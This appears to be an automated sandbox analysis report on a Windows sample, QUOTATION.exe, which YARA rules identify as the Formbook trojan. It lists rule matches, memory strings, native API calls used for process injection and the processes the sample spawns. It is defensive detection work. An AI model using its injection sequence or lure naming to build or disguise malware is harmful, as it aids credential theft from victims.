Source: help.exe, 0000000A.00000003.4462698473.0000000007E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@AEBV?$ProfilerStringView@D@1@AEBVMarkerCategory@1@$$QEAVMarkerOptions@1@UTextMarker@markers@01@AEBV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z??0PrintfTarget@mozilla@@IEAA@XZ??1MutexImpl@detail@mozilla@@QEAA@XZ??2@YAPEAX_K@Z??3@YAXPEAX@Z??3@YAXPEAX_K@Z??_U@YAPEAX_K@Z??_V@YAXPEAX@Z?BeginProcessRuntimeInit@detail@mscom@mozilla@@YAAEA_NXZ?CleanupProcessRuntime@mozilla@@YAXXZ?CreateAndStorePreXULSkeletonUI@mozilla@@YAXPEAUHINSTANCE__@@HPEAPEAD@Z?DllBlocklist_Initialize@@YAXI@Z?DllBlocklist_SetBasicDllServices@@YAXPEAVDllServicesBase@detail@glue@mozilla@@@Z?DllBlocklist_SetFullDllServices@@YAXPEAVDllServicesBase@detail@glue@mozilla@@@Z?EndProcessRuntimeInit@detail@mscom@mozilla@@YAXXZ?GetProfilingStack@AutoProfilerLabel@baseprofiler@mozilla@@SAPEAVProfilingStack@23@XZ?IsWin32kLockedDown@mozilla@@YA_NXZ?MapRemoteViewOfFile@mozilla@@YAPEAXPEAX0_K01KK@Z?Now@TimeStamp@mozilla@@CA?AV12@_N@Z?NowUnfuzzed@TimeStamp@mozilla@@CA?AV12@_N@Z?PollPreXULSkeletonUIEvents@mozilla@@YAXXZ?WindowsDpiInitialization@mozilla@@YA?AW4WindowsDpiInitializationResult@1@XZ?ensureCapacitySlow@ProfilingStack@baseprofiler@mozilla@@AEAAXXZ?gTwoCharEscapes@detail@mozilla@@3QBDB?lock@MutexImpl@detail@mozilla@@IEAAXXZ?profiler_current_thread_id@baseprofiler@mozilla@@YAHXZ?profiler_init@baseprofiler@mozilla@@YAXPEAX@Z?profiler_shutdown@baseprofiler@mozilla@@YAXXZ?unlock@MutexImpl@detail@mozilla@@IEAAXXZ?vprint@PrintfTarget@mozilla@@QEAA_NPEBDPEAD@Z_wcsdupfreemallocmoz_xmallocmozalloc_abortreallocstrdup
Source: help.exe, 0000000A.00000003.4462698473.0000000007E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000008.00000002.4281303153.0000000000060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.4281303153.0000000000060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.7993766326.0000000003200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.7993766326.0000000003200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.7999850935.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.7999850935.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.7994581430.0000000003380000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.7994581430.0000000003380000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.4281579504.0000000000090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.4281579504.0000000000090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: QUOTATION.exe

Source: QUOTATION.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 00000008.00000002.4281303153.0000000000060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.4281303153.0000000000060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.7993766326.0000000003200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.7993766326.0000000003200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.7999850935.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.7999850935.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.7994581430.0000000003380000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.7994581430.0000000003380000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.4281579504.0000000000090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.4281579504.0000000000090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\QUOTATION.exe

Code function: 2_2_00403235 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

2_2_00403235

Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 2_2_00406666	2_2_00406666
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 2_2_6F601A98	2_2_6F601A98
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337EF330	8_2_337EF330
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373E310	8_2_3373E310
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33721380	8_2_33721380
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E124C	8_2_337E124C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371D2EC	8_2_3371D2EC
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3377717A	8_2_3377717A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CD130	8_2_337CD130
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F010E	8_2_337F010E
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374B1E0	8_2_3374B1E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337351C0	8_2_337351C0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337DE076	8_2_337DE076
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E70F1	8_2_337E70F1
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373B0D0	8_2_3373B0D0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337200A0	8_2_337200A0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3376508C	8_2_3376508C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33732760	8_2_33732760
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373A760	8_2_3373A760
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E6757	8_2_337E6757
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33754670	8_2_33754670
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337DD646	8_2_337DD646
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CD62C	8_2_337CD62C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374C600	8_2_3374C600
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337EF6F6	8_2_337EF6F6
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372C6E0	8_2_3372C6E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A36EC	8_2_337A36EC
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337EA6C0	8_2_337EA6C0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730680	8_2_33730680
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337FA526	8_2_337FA526
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337EF5C9	8_2_337EF5C9
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E75C6	8_2_337E75C6
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730445	8_2_33730445
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379D480	8_2_3379D480
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337EFB2E	8_2_337EFB2E
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730B10	8_2_33730B10
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3376DB19	8_2_3376DB19
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A4BC0	8_2_337A4BC0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337EEA5B	8_2_337EEA5B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337ECA13	8_2_337ECA13
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337EFA89	8_2_337EFA89
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337759C0	8_2_337759C0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372E9A0	8_2_3372E9A0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337EE9A6	8_2_337EE9A6
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33739870	8_2_33739870
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374B870	8_2_3374B870
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A5870	8_2_337A5870
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337EF872	8_2_337EF872
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33716868	8_2_33716868
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337D0835	8_2_337D0835
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375E810	8_2_3375E810
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33733800	8_2_33733800
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E78F3	8_2_337E78F3
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E18DA	8_2_337E18DA
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337328C0	8_2_337328C0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A98B2	8_2_337A98B2
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33746882	8_2_33746882
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337EFF63	8_2_337EFF63
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337AFF40	8_2_337AFF40
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373CF00	8_2_3373CF00
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33736FE0	8_2_33736FE0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E1FC6	8_2_337E1FC6
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337EEFBF	8_2_337EEFBF
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337D0E6D	8_2_337D0E6D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33772E48	8_2_33772E48
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33722EE8	8_2_33722EE8
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E9ED2	8_2_337E9ED2
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33731EB2	8_2_33731EB2
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E0EAD	8_2_337E0EAD
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730D69	8_2_33730D69
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337EFD27	8_2_337EFD27
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372AD00	8_2_3372AD00
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CFDF4	8_2_337CFDF4
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33739DD0	8_2_33739DD0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33742DB0	8_2_33742DB0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33733C60	8_2_33733C60
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E6C69	8_2_337E6C69
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337EEC60	8_2_337EEC60
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337DEC4C	8_2_337DEC4C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373AC20	8_2_3373AC20
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337AEC20	8_2_337AEC20
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33720C12	8_2_33720C12
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B7CE8	8_2_337B7CE8
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337FACEB	8_2_337FACEB
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33748CDF	8_2_33748CDF
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337C9C98	8_2_337C9C98

Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: String function: 33777BE4 appears 96 times
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: String function: 3379E692 appears 86 times
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: String function: 337AEF10 appears 104 times
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: String function: 33765050 appears 35 times
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: String function: 3371B910 appears 268 times

Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337634E0 NtCreateMutant,LdrInitializeThunk,	8_2_337634E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762B10 NtAllocateVirtualMemory,LdrInitializeThunk,	8_2_33762B10
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762BC0 NtQueryInformationToken,LdrInitializeThunk,	8_2_33762BC0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762B90 NtFreeVirtualMemory,LdrInitializeThunk,	8_2_33762B90
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337629F0 NtReadFile,LdrInitializeThunk,	8_2_337629F0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762F00 NtCreateFile,LdrInitializeThunk,	8_2_33762F00
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762E50 NtCreateSection,LdrInitializeThunk,	8_2_33762E50
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762ED0 NtResumeThread,LdrInitializeThunk,	8_2_33762ED0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762EB0 NtProtectVirtualMemory,LdrInitializeThunk,	8_2_33762EB0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762D10 NtQuerySystemInformation,LdrInitializeThunk,	8_2_33762D10
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762DC0 NtAdjustPrivilegesToken,LdrInitializeThunk,	8_2_33762DC0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762DA0 NtReadVirtualMemory,LdrInitializeThunk,	8_2_33762DA0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762C50 NtUnmapViewOfSection,LdrInitializeThunk,	8_2_33762C50
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762C30 NtMapViewOfSection,LdrInitializeThunk,	8_2_33762C30
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762CF0 NtDelayExecution,LdrInitializeThunk,	8_2_33762CF0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33764260 NtSetContextThread,	8_2_33764260
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33764570 NtSuspendThread,	8_2_33764570
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762B20 NtQueryInformationProcess,	8_2_33762B20
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762B00 NtQueryValueKey,	8_2_33762B00
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762BE0 NtQueryVirtualMemory,	8_2_33762BE0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762B80 NtCreateKey,	8_2_33762B80
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762A10 NtWriteFile,	8_2_33762A10
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762AC0 NtEnumerateValueKey,	8_2_33762AC0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762AA0 NtQueryInformationFile,	8_2_33762AA0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762A80 NtClose,	8_2_33762A80
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337629D0 NtWaitForSingleObject,	8_2_337629D0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337638D0 NtGetContextThread,	8_2_337638D0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762F30 NtOpenDirectoryObject,	8_2_33762F30
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762FB0 NtSetValueKey,	8_2_33762FB0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762E00 NtQueueApcThread,	8_2_33762E00
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762EC0 NtQuerySection,	8_2_33762EC0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762E80 NtCreateProcessEx,	8_2_33762E80
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762D50 NtWriteVirtualMemory,	8_2_33762D50
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33763C30 NtOpenProcessToken,	8_2_33763C30
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762C20 NtSetInformationFile,	8_2_33762C20
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762C10 NtOpenProcess,	8_2_33762C10
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762CD0 NtEnumerateKey,	8_2_33762CD0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33763C90 NtOpenThread,	8_2_33763C90

Source: System.dll.2.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: System.Security.Cryptography.X509Certificates.dll.2.dr

Static PE information: No import functions for PE file found

Source: QUOTATION.exe, 00000002.00000003.3070142843.0000000004E8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemaintenanceservice.exe0 vs QUOTATION.exe
Source: QUOTATION.exe, 00000002.00000003.3062330160.00000000028C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSolutionExplorerCLI.dll vs QUOTATION.exe
Source: QUOTATION.exe, 00000002.00000003.3066562321.00000000028CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.dll@ vs QUOTATION.exe
Source: QUOTATION.exe, 00000002.00000003.3065006946.0000000004E8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Cryptography.X509Certificates.dll@ vs QUOTATION.exe
Source: QUOTATION.exe, 00000002.00000003.3068674959.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepkcs11-helper-1.dll" vs QUOTATION.exe
Source: QUOTATION.exe, 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenameBrankningens.exeDVarFileInfo$ vs QUOTATION.exe
Source: QUOTATION.exe, 00000008.00000003.4192719473.0000000033671000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs QUOTATION.exe
Source: QUOTATION.exe, 00000008.00000002.4314495070.00000000034D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHelp.Exej% vs QUOTATION.exe
Source: QUOTATION.exe, 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs QUOTATION.exe
Source: QUOTATION.exe, 00000008.00000002.4282050831.00000000000E4000.00000040.10000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameHelp.Exej% vs QUOTATION.exe
Source: QUOTATION.exe, 00000008.00000003.4186562226.00000000334B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs QUOTATION.exe
Source: QUOTATION.exe, 00000008.00000002.4328211307.00000000339C0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs QUOTATION.exe
Source: QUOTATION.exe, 00000008.00000000.3525394295.0000000000436000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenameBrankningens.exeDVarFileInfo$ vs QUOTATION.exe
Source: QUOTATION.exe, 00000008.00000002.4314495070.000000000348E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHelp.Exej% vs QUOTATION.exe
Source: QUOTATION.exe	Binary or memory string: OriginalFilenameBrankningens.exeDVarFileInfo$ vs QUOTATION.exe

Source: C:\Users\user\Desktop\QUOTATION.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: QUOTATION.exe

Static PE information: invalid certificate

Source: percentile.dll.2.dr	Static PE information: Number of sections : 19 > 10
Source: libdatrie-1.dll.2.dr	Static PE information: Number of sections : 11 > 10
Source: libpkcs11-helper-1.dll.2.dr	Static PE information: Number of sections : 12 > 10

Source: QUOTATION.exe	Virustotal: Detection: 28%
Source: QUOTATION.exe	ReversingLabs: Detection: 33%

Source: C:\Users\user\Desktop\QUOTATION.exe

File read: C:\Users\user\Desktop\QUOTATION.exe

Jump to behavior

Source: QUOTATION.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\QUOTATION.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\QUOTATION.exe C:\Users\user\Desktop\QUOTATION.exe
Source: C:\Users\user\Desktop\QUOTATION.exe	Process created: C:\Users\user\Desktop\QUOTATION.exe C:\Users\user\Desktop\QUOTATION.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe
Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe
Source: C:\Users\user\Desktop\QUOTATION.exe	Process created: C:\Users\user\Desktop\QUOTATION.exe C:\Users\user\Desktop\QUOTATION.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe	Jump to behavior
